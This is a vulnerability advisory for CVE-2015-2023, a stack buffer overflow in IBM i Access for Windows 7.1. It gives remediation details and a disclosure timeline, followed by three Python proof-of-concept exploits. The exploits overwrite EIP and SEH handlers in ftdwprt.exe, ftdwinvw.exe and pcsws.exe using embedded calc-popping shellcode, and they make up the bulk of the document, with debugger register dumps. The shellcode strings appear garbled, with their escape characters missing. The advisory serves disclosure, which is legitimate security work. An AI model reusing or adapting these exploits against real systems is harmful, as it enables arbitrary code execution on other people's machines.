IBM i Access For Windows 7.1 Buffer Overflow
Posted on 19 November 2015
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt Vendor: ============== www.ibm.com Product: ==================================================== IBM i Access for Windows Release 7.1 of IBM i Access for Windows is affected Vulnerability Type: ======================= Stack Buffer Overflow Arbitrary Code Exec CVE Reference: ============== CVE-2015-2023 Vulnerability Details: ===================== IBM i Access for Windows is vulnerable to a buffer overflow. A local attacker could overflow a buffer and execute arbitrary code on the Windows PC. client Access has ability to receive remote commands via "Cwbrxd.exe" service Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253 "Incoming remote command was designed for running non-interactive commands and programs on a PC", therefore a remote attacker could execute arbitrary code on the system. Remediation/Fixes The issue can be fixed by obtaining and applying the Service Pack SI57907. The buffer overflow vulnerability can be remediated by applying Service Pack SI57907. The Service Pack is available at: http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html Workarounds and Mitigations None known CVSS Base Score: 4.4 CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the current score CVSS Environmental Score*: Undefined CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) Exploit code(s): ============================================================================== Three python POC scriptz follow that exploitz various component of IBM i Access. 1) Exploits "ftdwprt.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\Program Files (x86)\IBM\Client Access\AFPViewr\ftdwprt.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") # use jmp or call esp in FTDBT.dll under AFPviewer for Client Access # we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00 (C:Program Files (x86)IBMClient AccessAFPViewrFTDBDT.dll) rp=struct.pack('<L', 0x638091FB) payload="A" * 1043+rp+sc+"x90"*20 subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of debugger use 1044 in debugger. ================================== 2) Exploits "ftdwinvw.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\Program Files (x86)\IBM\Client Access\AFPViewr\ftdwinvw.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") #payload="A"*1044+"RRRR"+"x90"*10+"B"*100 #Test EIP rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll payload="A"*1044+rp+"x90"*10+sc #KABOOM!!! subprocess.Popen([pgm, payload], shell=False) registers dump... EAX 0000040B ECX 0044AAB8 ASCII "AAAAAAAAA... EDX 7F17E09F EBX 00000000 ESP 0018E5B8 EBP 41414141 ESI 005A9FB9 ASCII "AAAAAAAAA... EDI 0044E94C ftdwinvw.0044E94C EIP 52525252 <----------BOOM! C 0 ES 002B 32bit 0(FFFFFFFF) P 0 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite pgm="C:\Program Files (x86)\IBM\Client Access\Emulator\pcsws.exe " #ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will jump 8 bytes to our SC #as ESP points to our SC 8 bytes after! jmp="xEBx06"+"x90"*2 #payload="A"*1336+"BBBB" #Test #shellcode to pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") rp=struct.pack('<L', 0x678c1e49) #pop pop ret 0x67952486 PCSW32X.dll payload="A"*1332+jmp+rp+sc+"x90"*10 #KABOOOOOOOOOOOOOOOOOOM! subprocess.Popen([pgm, payload], shell=False) register dump... 0018FF6C 41414141 AAAA 0018FF70 41414141 AAAA 0018FF74 41414141 AAAA 0018FF78 41414141 AAAA Pointer to next SEH record 0018FF7C 42424242 BBBB SE handler 0018FF80 004C0400 .L. pcsws.004C0400 Disclosure Timeline: ==================================== Vendor Notification: May 21, 2015 November 18, 2015 : Public Disclosure Exploitation Technique: ======================= Local / Remote Severity Level: ================ High Description: ================================================================================= Request Method(s): [+] local or remote commands via "Cwbrxd.exe" service Vulnerable Product: [+] IBM i Access for Windows Release 7.1 Affected Area(s): [+] OS [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
